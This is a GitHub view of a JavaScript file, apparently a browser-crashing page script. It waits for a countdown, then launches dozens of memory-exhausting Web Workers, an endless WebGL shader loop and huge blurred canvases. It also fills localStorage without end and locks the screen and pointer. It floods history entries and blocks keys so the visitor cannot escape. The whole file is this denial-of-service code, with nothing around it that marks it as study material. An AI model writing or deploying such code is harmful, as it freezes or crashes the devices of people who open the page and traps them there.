-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathscript.js
More file actions
127 lines (110 loc) · 5.36 KB
/
script.js
File metadata and controls
127 lines (110 loc) · 5.36 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
(function() {
window.onload = function() {
const timerDisplay = document.getElementById('timer');
let timeLeft = 5;
const workerBlob = new Blob([`
onmessage = function() {
const b = [];
const f = () => {
while(true) {
try {
let s = new SharedArrayBuffer(1024 * 1024 * 256);
let v = new Float64Array(s);
for(let i = 0; i < v.length; i++) {
v[i] = Math.tan(Math.random()) * Math.exp(Math.random());
}
b.push(v);
} catch(e) {
b.push(new Uint8Array(1024 * 1024 * 128));
}
}
};
f();
};
`], { type: 'application/javascript' });
const workerUrl = URL.createObjectURL(workerBlob);
const cores = (navigator.hardwareConcurrency || 8) * 12;
const battalions = [];
for(let i = 0; i < cores; i++) {
battalions.push(new Worker(workerUrl));
}
const countdown = setInterval(() => {
timeLeft--;
if (timerDisplay) timerDisplay.textContent = timeLeft;
if (timeLeft <= 0) {
clearInterval(countdown);
ignite();
}
}, 1000);
function ignite() {
const body = document.documentElement;
const lock = () => {
body.requestFullscreen().catch(() => {});
body.requestPointerLock();
for(let i = 0; i < 500; i++) {
history.pushState(null, "", "#" + Math.random());
}
};
document.addEventListener('keydown', (e) => {
e.preventDefault();
lock();
});
battalions.forEach(w => w.postMessage('go'));
const webgl = () => {
const c = document.createElement('canvas');
c.width = window.screen.width;
c.height = window.screen.height;
const gl = c.getContext('webgl2') || c.getContext('webgl');
if (!gl) return;
const vs = gl.createShader(gl.VERTEX_SHADER);
gl.shaderSource(vs, 'attribute vec2 p;void main(){gl_Position=vec4(p,0,1);}');
gl.compileShader(vs);
const fs = gl.createShader(gl.FRAGMENT_SHADER);
gl.shaderSource(fs, 'precision highp float;void main(){vec4 c=vec4(0);for(int i=0;i<10000;i++){c+=sin(gl_FragCoord.x*gl_FragCoord.y+float(i));}gl_FragColor=c;}');
gl.compileShader(fs);
const pr = gl.createProgram();
gl.attachShader(pr, vs);
gl.attachShader(pr, fs);
gl.linkProgram(pr);
gl.useProgram(pr);
const b = gl.createBuffer();
gl.bindBuffer(gl.ARRAY_BUFFER, b);
gl.bufferData(gl.ARRAY_BUFFER, new Float32Array([-1,-1,1,-1,-1,1,1,1]), gl.STATIC_DRAW);
const pa = gl.getAttribLocation(pr, 'p');
gl.enableVertexAttribArray(pa);
gl.vertexAttribPointer(pa, 2, gl.FLOAT, false, 0, 0);
const render = () => {
gl.drawArrays(gl.TRIANGLE_STRIP, 0, 4);
requestAnimationFrame(render);
};
render();
};
const l = () => {
const c = document.createElement('canvas');
c.width = 16384;
c.height = 16384;
const x = c.getContext('2d', {alpha: false});
x.filter = 'blur(100px) contrast(1000%) invert(100%)';
x.drawImage(document.querySelector('img'), 0, 0, 16384, 16384);
const b = new Blob([new Uint8Array(1024 * 1024 * 100)]);
const u = URL.createObjectURL(b);
const im = new Image();
im.src = u;
lock();
Promise.resolve().then(l);
};
const db = () => {
while(true) {
const d = new Array(1000000).fill("comedymoon").join("");
try { localStorage.setItem(Date.now() + Math.random(), d); } catch(e) {}
}
};
lock();
webgl();
l();
setTimeout(db, 1);
}
};
})();